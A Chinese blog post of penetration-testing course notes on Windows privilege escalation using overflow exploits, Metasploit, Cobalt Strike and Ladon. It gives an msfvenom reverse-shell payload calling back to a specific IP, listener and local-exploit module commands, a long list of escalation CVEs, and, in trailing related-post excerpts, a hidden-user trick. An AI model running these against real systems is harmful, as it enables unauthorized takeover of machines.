第98天：权限提升-WIN全平台&MSF自动化&CS插件化&EXP筛选&溢出漏洞

最新推荐文章于 2025-02-04 09:10:11 发布
最新推荐文章于 2025-02-04 09:10:11 发布
阅读量620 收藏 1
点赞数 1
分类专栏： 权限提升 文章标签： 自动化 网络 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46081990/article/details/131168017
版权
本文详细介绍了WIN系统中通过溢出漏洞进行权限提升的技术，包括信息收集、EXP筛选与利用、不同环境下的提权方法。提权步骤涵盖从Web权限到系统和域控权限的提升，涉及多种工具和资源，以及常见的漏洞利用案例。文章还列举了多个CVE编号的主流提权漏洞。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

知识点梳理

#知识点：
1、掌握WIN系统溢出漏洞提权用户权限
2、掌握WIN系统溢出漏洞提权常用命令
3、掌握WIN系统溢出漏洞提权常见步骤
4、掌握WIN系统溢出漏洞提权EXP筛选&利用
5、掌握WIN系统溢出漏洞提权不同环境利用区别

#章节点：
1、Web权限提升
2、系统权限提升
3、域控权限提升

#详细点：
1、具体有哪些权限需要我们了解掌握的？
后台权限，网站权限，数据库权限，接口权限，系统权限，域控权限等

2、以上常见权限获取方法简要归类说明？
后台权限：SQL注入,数据库备份泄露，默认或弱口令等获取帐号密码进入
网站权限：后台提升至网站权限，RCE或文件操作类、反序列化等漏洞直达Shell
数据库权限：SQL注入,数据库备份泄露，默认或弱口令等进入或网站权限获取后转入
接口权限：SQL注入,数据库备份泄露，源码泄漏，培植不当等或网站权限获取后转入
系统权限：高危系统漏洞直达或网站权限提升转入、数据库权限提升转入，第三方转入等
域控权限：高危系统漏洞直达或内网横向渗透转入，域控其他服务安全转入等

3、以上常见权限获取后能操作的具体事情?
后台权限:
常规WEB界面文章分类等操作，后台功能可操作类
网站权限：
查看或修改程序源代码，可以进行网站或应用的配置文件读取（接口配置信息，数据库配置信息等），还能收集服务器操作系统相关的信息，为后续系统提权做准备。
数据库权限：
操作数据库的权限，数据库的增删改等，源码或配置文件泄漏，也可能是网站权限(webshell)进行的数据库配置文件读取获得。也可以作为提升系统权限手段。
接口权限：
后台或网站权限后的获取途径：后台（修改配置信息功能点），网站权限（查看的配置文件获取），具体可以操作的事情大家自己想想。
系统权限：如同在你自己操作自己的电脑一样
域控权限：如同在你自己操作自己的虚拟机一样

手工提权常见步骤（溢出漏洞）

1、信息收集
操作系统版本、漏洞补丁、位数、杀软防护、网络、当前权限等信息
ver、systeminfo、whoami、netstat -ano、tasklist /svc等

2、基于以上信息筛选可用的溢出漏洞的EXP
手工筛选EXP
使用WindowsVulnScan筛选EXP
使用在线提权网站筛选 https://i.hacking8.com/tiquan

3、上传EXP调用执行去提权
基于手工的操作
基于CS的半自动提权
基于MSF的全自动提权

演示案例

Web&Win2008-人工手动-筛选&下载&利用

Web&Win2008-CS半自动-反弹&插件&利用

Web&Win2012-MSF全自动-筛选&探针&利用

Web&Win2016&2019-Ladon半自动-上传利用

#Web&Windows-人工手动-筛选&下载&利用
如果提权中无法执行命令的话，可以尝试上传cmd.exe到可读写目录再调用执行
1、脚本项目筛选：补丁&系统&漏洞等
https://github.com/vulmon/Vulmap
https://github.com/bitsadmin/wesng
https://github.com/chroblert/WindowsVulnScan
1.1、网站平台筛选：补丁&系统&漏洞等
https://i.hacking8.com/tiquan
2、漏洞EXP下载执行：
https://github.com/k8gege/Ladon
https://github.com/Ascotbe/KernelHub
https://github.com/nomi-sec/PoC-in-GitHub
https://github.com/offensive-security/exploitdb
http://cve.mitre.org/data/refs/refmap/source-MS.html
说明：通过对应补丁漏洞编号寻可利用EXP
MS&CVE 关系区别&对应反查
KernelHub 针对常用溢出编号指定找EXP
Poc-in-Github 针对年份及编号指定找EXP
exploitdb 针对类型及关键说明指定找EXP
3、上传EXP调用执行

#Web&Windows-CS半自动-反弹&插件&利用
1、配置启动
服务器启动服务端：
chmod +x teamserver
./teamserver IP password
客户端连接服务端：
运行cobaltstrike.bat（运行不起来请检测JDK版本）
2、配置监听器生成后执行
3、选择提权模块调用执行

#Web&Windows-MSF全自动-筛选&探针&利用
1、生成反弹后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=106.14.195.29 LPORT=3333 -f exe -o msf.exe
2、配置监听会话
use exploit/multi/handler
show options
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
exploit
background（反弹后）
2.1、筛选EXP模块
use post/windows/gather/enum_patches（半自动：根据漏洞编号找出系统中安装的补丁）
use post/multi/recon/local_exploit_suggester（全自动：快速识别系统中可能被利用的漏洞）
show options
set session 1
set showdescription true
exploit
3、利用EXP溢出提权
use exploit/windows/local/ms16_075_reflection_juicy
set session 1
exploit

#Web&Win16&19-Ladon半自动-上传&插件&利用
https://github.com/k8gege/Ladon
ladon40 badpotato whoami



#截止2022年前的主流提权漏洞：
CVE-2021-33739 [Microsoft DWM 核心库特权提升漏洞]（Windows 10、20）
CVE-2021-1732 [Windows Win32k 提权漏洞] (Windows 10, 2019/20H2)
CVE-2020-0787【Windows后台智能传输服务提权漏洞】（Windows 7/8/10、2008/2012/2016/2019）
CVE-2020-0796 [Microsoft 服务器消息块 3.1.1 (SMBv3) 协议处理某些请求的方式中存在一个远程代码执行漏洞，即“Windows SMBv3 客户端/服务器远程代码执行漏洞”] (Windows 1903/1909 )
CVE-2019-1458 [当Win32k组件无法正确处理内存中的对象时，Windows中存在一个特权提升漏洞]（Windows 7/8/10/2008/2012/2016）
CVE-2019-0803 [Win32k 组件无法正确处理内存中的对象时，Windows 中存在提权漏洞] (Windows 7/8/10/2008/2012/2016/2019)
CVE-2018-8639 [Win32k 组件无法正确处理内存中的对象时，Windows 中存在提权漏洞] (Windows 7/8/10/2008/2012/2016)
CVE-2018-1038 [Windows 内核提权漏洞]（Windows 7 SP1/Windows Server 2008 R2 SP1）
CVE-2018-0743 [Windows Subsystem for Linux Elevation of Privilege Vulnerability]（Windows 10 版本 1703/Windows 10 版本 1709/Windows Server 版本 1709）
CVE-2018-8453 [Windows Win32k 组件中的提权漏洞] (>= windows 8.1)
CVE-2018-8440 [Windows ALPC 提权漏洞] (windows 7/8.1/10/2008/2012/2016)
MS17-017 　[KB4013081] [GDI 调色板对象本地权限提升]（Windows 7/8）
CVE-2017-8464 　[LNK远程执行代码漏洞]（Windows 10 / 8.1 / 7/2016/2010/2008）
CVE-2017-0213 　[Windows COM 提权漏洞] (windows 10/8.1/7/2016/2010/2008)
CVE-2018-0833 [SMBv3 空指针取消引用拒绝服务] (Windows 8.1/Server 2012 R2)
CVE-2018-8120 [Win32k 提权漏洞] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
MS17-010 　[KB4013389] [Windows 内核模式驱动程序] (windows 7/2008/2003/XP)
MS16-135 　[KB3199135] [Windows 内核模式驱动程序] (2016)
MS16-111 　[KB3186973] [内核 API] (Windows 10 10586 (32/64)/8.1)
MS16-098 　[KB3178466] [内核驱动程序] (Win 8.1)
MS16-075 　[KB3164038] [热土豆] (2003/2008/7/8/2012)
MS16-034 　[KB3143145] [内核驱动程序] (2008/7/8/10/2012)
MS16-032 　[KB3143141] [辅助登录句柄] (2008/7/8/10/2012)
MS16-016 　[KB3136041] [WebDAV] (2008/Vista/7)
MS16-014 　[K3134228] [远程代码执行] (2008/Vista/7)
MS15-097 　[KB3089656] [远程代码执行] (win8.1/2012)
MS15-076 　[KB3067505] [RPC] (2003/2008/7/8/2012)
MS15-077 　[KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061 　[KB3057839] [内核驱动程序] (2003/2008/7/8/2012)
MS15-051 　[KB3057191] [Windows内核模式驱动程序]（2003/2008/7/8/2012）
MS15-015 　[KB3031432] [内核驱动程序] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-010 　[KB3036220] [内核驱动程序] (2003/2008/7/8)
MS15-001 　[KB3023266] [内核驱动程序] (2008/2012/7/8)
MS14-070 　[KB2989935] [内核驱动程序] (2003)
MS14-068 　[KB3011780] [域权限提升] (2003/2008/2012/7/8)
MS14-058 　[KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
MS14-066 　[KB2992611] [Windows Schannel 允许远程代码执行] (VistaSP2/7 SP1/8/Windows 8.1/2003 SP2/2008 SP2/2008 R2 SP1/2012/2012 R2/Windows RT/Windows RT 8.1)
MS14-040 　[KB2975684] [AFD 驱动程序] (2003/2008/2012/7/8)
MS14-002 　[KB2914368] [NDProxy] (2003/XP)
MS13-053 　[KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046 　[KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)
MS13-005 　[KB2778930] [内核模式驱动程序] (2003/2008/2012/win7/8)
MS12-042 　[KB2972621] [服务总线] (2008/2012/win7)
MS12-020 　[KB2671387] [RDP] (2003/2008/7/XP)
MS11-080 　[KB2592799] [AFD.sys] (2003/XP)
MS11-062 　[KB2566454] [NDISTAPI] (2003/XP)
MS11-046 　[KB2503665] [AFD.sys] (2003/2008/7/XP)
MS11-011 　[KB2393802] [内核驱动程序] (2003/2008/7/XP/Vista)
MS10-092 　[KB2305420] [任务计划程序] (2008/7)
MS10-065 　[KB2267960] [FastCGI]（IIS 5.1、6.0、7.0 和 7.5）
MS10-059 　[KB982799] [ACL-Churraskito] (2008/7/Vista)
MS10-048 　[KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015 　[KB977165] [KiTrap0D] (2003/2008/7/XP)
MS10-012 　[KB971468] [SMB 客户端 Trans2 堆栈溢出] (Windows 7/2008R2)
MS09-050 　[KB975517] [远程代码执行] (2008/Vista)
MS09-020 　[KB970483] [IIS 6.0]（IIS 5.1 和 6.0）
MS09-012 　[KB959454] [Chimichurri] (Vista/win7/2008/Vista)
MS08-068 　[KB957097] [远程代码执行] (2000/XP)
MS08-067 　[KB958644] [远程代码执行] (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-066 　[KB956803] [AFD.sys] (Windows 2000/XP/Server 2003)
MS08-025 　[KB941693] [Win32.sys] (XP/2003/2008/Vista)
MS06-040 　[KB921883] [远程代码执行] (2003/xp/2000)
MS05-039 　[KB899588] [PnP 服务] (Win 9X/ME/NT/2000/XP/2003)
MS03-026 　[KB823980] [RPC接口中的缓冲区溢出]（/ NT / 2000 / XP / 2003）
红队内网攻防渗透：内网渗透之内网对抗：Windows权限提升篇&溢出漏洞&宝塔面板Bypass&CS插件化&MSF模块化
HACKONE的博客
05-30 655
虚拟化：Docker，ESXi，QEMU，Hyper-V等。jsp由于机制的原因不需要提权，一般拿到的权限就是最高权限。目前的msf版本有bug可以TB上购买pro版本嘎嘎稳。集成软件：宝塔，PhpStudy，XAMMP等。ASP/ASP.NET/PHP/JSP等。全自动：快速识别系统中可能被利用的漏洞。自行搭建：自己一个个下载安装搭建配置。集成软件，自行搭建，虚拟化等。执行不了命令，所以需要提权。
红队内网攻防渗透：内网渗透之内网对抗：Linux权限提升篇&内核溢出&Dirtycow内核&Pwnkit&DirtyPipe&CVE-2023-0386
HACKONE的博客
06-02 816
Exploit运行的过程中，它会在/tmp目录下创建一个SUID文件,用来提升权限。如图所示，已提升至root权限。缺少fuse.h，是缺少libfuse-dev依赖库导致，通过apt包管理器安装相应的库。获取到Web权限在Linux服务器上时进行的内核漏洞提权。这里卡死了执行探测脚本，所以需要反弹到msf或者cs。漏洞的使用是有优先级的，黄色的是最优先可以使用的。扫描发现-抓包分析-文件写入-反弹MSF。
【网络安全】 MSF提权
一直被模仿，从未被超越
03-15 1286
学习，请遵守相关法律法规，严禁用于非法途径。若读者因此作出任何危害网络安全的行为，后果自负，与作者无关。1、当我们通过MSF成功登录靶机时，进行提权时如果报如下，表示没有拿到系统权限。5、我们找到一个漏洞，注意：这里不是每个漏洞都可以成功，要多试几个。6、再次进行渗透，成功出现meterpreter ，代表成功。3、设置 Session。2、使用本地漏洞模块。
Web权限&权限划分
weixin_54882883的博客
08-29 1721
后台或网站权限后的获取途径：后台（修改配置信息功能点），网站权限（查看的配置文件获取），系统中 API 暴露到互联网上会存在一定的安全风险，: 爬虫、恶意访问等等。操作数据库的权限，数据库的增删改等，源码或配置文件泄漏，也可能是网站权限(webshell)进行的数据库配置文件读取获得。那么权限提升他的意义就是：当前的权限无法满足需要的操作，通过权限提升的技术，提升当前的权限来实现想要的操作。Web权限其实就是网站权限，获取Web权限其实就是获取这个网站的权限。管理员UID为0：系统的管理员用户。...
第98天：权限提升-WIN 全平台&MSF 自动化&CS 插件化&EXP 筛选&溢出漏洞
weixin_71529930的博客
05-22 1414
运行exe，成功反弹shell（这里如果你是直接在系统中点的获得的是admin权限，真实环境只能用webshell去执行所以获得的是iis权限）这里明明有会话，但是不能创建会话，试了很多种方法也没有成功，这里先学习思路把视频中2012也未成功，学习思路即可。这里需要利用这个模块去执行，系统下的反弹shell文件，弹回来的就是system权限。该项目对于linux的适配性更高，windows无效，这里也不做过多赘述。手工测试会有各种原因，例如开发语言，系统环境等虽然漏洞有，但是不能成功。
权限提升-Web权限-MSF自动化
m0_65336233的博客
11-26 1251
简单的提权漏洞讲解
使用MSF进行提权（windows提权、linux提权、wesng使用
喜欢Python编程的程序员柚柚呀
02-29 1369
安全焦点，其BugTraq是一个出色的漏洞和exploit数据源，可以通过CVE编号，或者产品信息漏洞直接搜索。将刚才生成的 s.exe 文件上传到服务器（靶机）C:\RECYCLER\s.exe 目录（因为一般C:\RECYCLER\ 目录都有读写权限）选定需要使用的攻击模块之后，你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用，将渗透的过程自动化、简单化。如果攻击者对可能导致远程代码执行的漏洞和/或仅具有可用漏洞利用代码的漏洞感兴趣，这将非常有用。为此，可以分别使用​。
0x132 溢出漏洞&宝塔面板&Bypass&CS插件化&MSF模块化
m0_74048540的博客
12-30 895
Web到Windows系统提权的途径包括不同的搭建平台（如宝塔、XAMPP）和权限差异。Windows系统的用户权限从System到Guests各不相同，Linux则通过UID划分。案例中，利用MSF反弹后门在Windows 2008上提权，及在Windows 2016中上传ASP脚本获取Shell权限。此外，通过集成软件搭建的Windows 2012，利用哥斯拉的模块绕过宝塔的安全策略，实现跨目录和函数限制的访问，展示了多种提权策略与技术。
利用MSF&CS溢出漏洞提权云服务器windows server2012
weixin_45701675的博客
11-16 2424
Windows系统内核溢出漏洞提权 溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名：缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码，所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一，也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值，甚至可以劫持进程，执行恶意代码，最终获得主机的控制权。 利用Windows系统内核溢出漏洞提权是一种很通用的提权方法，攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关
[权限提升] Windows 提权 — 系统内核溢出漏洞提权
Blue17 の 小窝
01-29 1140
注意：提权很容易让电脑蓝屏，所以如果是测试的话，提权前最好做好系统备份。溢出漏洞就像是往杯子里装水 —— 如果水太多，被子装不下了，就会溢出来。计算机中有个地方叫作缓存区。程序缓存区的大小是事先设置好的，如果用户输入数据的大小超过了缓存区的大小，程序就会溢出。系统内核溢出漏洞提权是一种通用的提权方法，攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁—— 即使微软已经针对某个漏洞发布了补丁，但如果系统没有立即安装补丁，就会让攻击者有机可乘。
Windows提权_CS提权上线。
weixin_39953838的博客
01-04 1925
许多过往之人事，可想可念不可急。
使用MSF进行提权（windows提权、linux提权、wesng使用）
热门推荐
Love&Share
11-22 2万+
文章目录MSF Windows提权反弹shell提权END推荐阅读MSF Linux提权反弹shell补充wesng用法 Metasploit 是一个渗透框架，kali 内安装了，安装位置如下 /usr/share/metasploit-framework 选定需要使用的攻击模块之后，你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用，将渗透的过程自动化、简单化 主要作用：漏洞验证、漏洞利用、内网渗透等 MSF Windows提权 靶机： Win server2003 + iis（已.
[权限提升] Windows 提权 — UAC 绕过 — MSF & CS 过 UAC 的方法和插件
最新发布
Blue17 の 小窝
02-04 1019
如果当前用户是一个 Administrators 用户组的用户，但是 GetSystem 失败了，则证明这个 Shell 需要绕过 UAC，如果 GetSystem 成功了，则证明这个 Shell 不需要绕过 UAC。该模块会创建一个可执行程序，目标机器运行后会自动发起一个提升权限的请求，并询问用户是否要继续运行，如果用户选择继续运行程序，就会返回一个 system 权限的 Shell。MSF 判断目标 Shell 是否有 UAC 也比较简单，拿到靶机的 meterpreter Shell 后输入。
CS的安装和使用，以及提权操作
lrs328的博客
09-12 1036
新增用户net user [username] [password] /add删除用户net user [username] /delete新增隐藏用户wmic useraccount where "Name='[username]'" call rename "[username]$"删除隐藏用户wmic useraccount where "Name='[username]$'" call rename "[username]"
MSF/CS框架提权姿势
懂进攻知防守
08-13 2849
提权，就是提高自己在服务器中的权限。比如在windows下从普通用户提升到administrator或者system权限，linux下普通用户提升到root权限。用户的权限决定了其能够访问的资源。在渗透测试中，我们通过某种方式（比如上传webshell）获取到一个执行命令的shell，但它是一个低权限用户，所以不能执行某些系统命令或者访问某些关键系统资源。此时如果我们想要获取更高的控制权就需要提权。...
【权限提升-Windows提权】-UAC提权之MSF模块和UACME项目-DLL劫持-不带引号服务路径-不安全的服务权限
xiaoheizi的博客
09-01 2548
1、具体有哪些权限需要我们了解掌握的？后台权限，网站权限，数据库权限，接口权限，系统权限，域控权限等2、以上常见权限获取方法简要归类说明？后台权限：SQL注入数据库备份泄露，默认或弱口令等获取帐号密码进入网站权限：后台提升至网站权限，RCE或文件操作类、反序列化等漏洞直达Shell数据库权限：SQL注入数据库备份泄露，默认或弱口令等进入或网站权限获取后转入接口权限：SQL注入数据库备份泄露，源码泄漏，培植不当等或网站权限获取后转入。
简单的Metasploit及cs提权
m0_74326506的博客
07-06 2065
但是因为windows中存在服务控制管理器，当服务启动时，会跟服务控制管理器通信，服务控制管理器如果没收到通信，则会认为服务出现错误，终止进程，因为后门木马文件本质并不是服务，无法和服务控制管理器进行通信，所以要么直接上线不了，要么上线一会就下线。在windows中 MSI是微软的安装包格式，他会在后台运行.exe，并以system权限启动安装，如果制作一个MSI安装包绑定生成的后门木马，只要win7点击安装，则会以system上线msf，制作MSI安装包可以在网上找。
操作系统权限提升(十三)之绕过UAC提权-MSF和CS绕过UAC提权
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
02-25 1581
该模块会创建一个可执行文件，目标机器会运行一个发起提升权限请求的程序，提示用户是否要继续运行，如果用户选择继续运行程序，就会返回一个system权限的shell。这个模块对用户没有要求，点击通过即可，但是会创建一个恶意文件，对该文件进行免杀即可。使用该模块提权的使用，当前用户必须是管理员组中的用户，UAC为默认设置。拿到一个普通管理员的SHELL,在CS中没有*号代表有UAC。执行添加用户的命令时显示拒绝访问。使用CS自带的插件进行绕过提权。提权后可以完成添加用户的命令。生成一个MSF的SHELL。
CS插件——Ladon 12.0 20231201
2301_76786857的博客
12-05 1151
Cobalstrike插件Ladon一款用于大型内网渗透的多线程插件化综合扫描神器，含端口扫描、服务识别、网络资产、密码爆破、高危漏洞检测以及一键GetShell，支持批量A段/B段/C段以及跨网段扫描，支持URL、主机、域名列表扫描。
Python脚本msf-autopwn：自动化渗透测试利器
资源摘要信息:"msf-autopwn:自动利用野生环境中的一些最常见漏洞" 一、什么是msf-autopwn？ msf-autopwn是一个自动化的安全测试工具，它能够解析Nessus或Nmap扫描的结果，并自动利用其中发现的漏洞。该工具能够...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值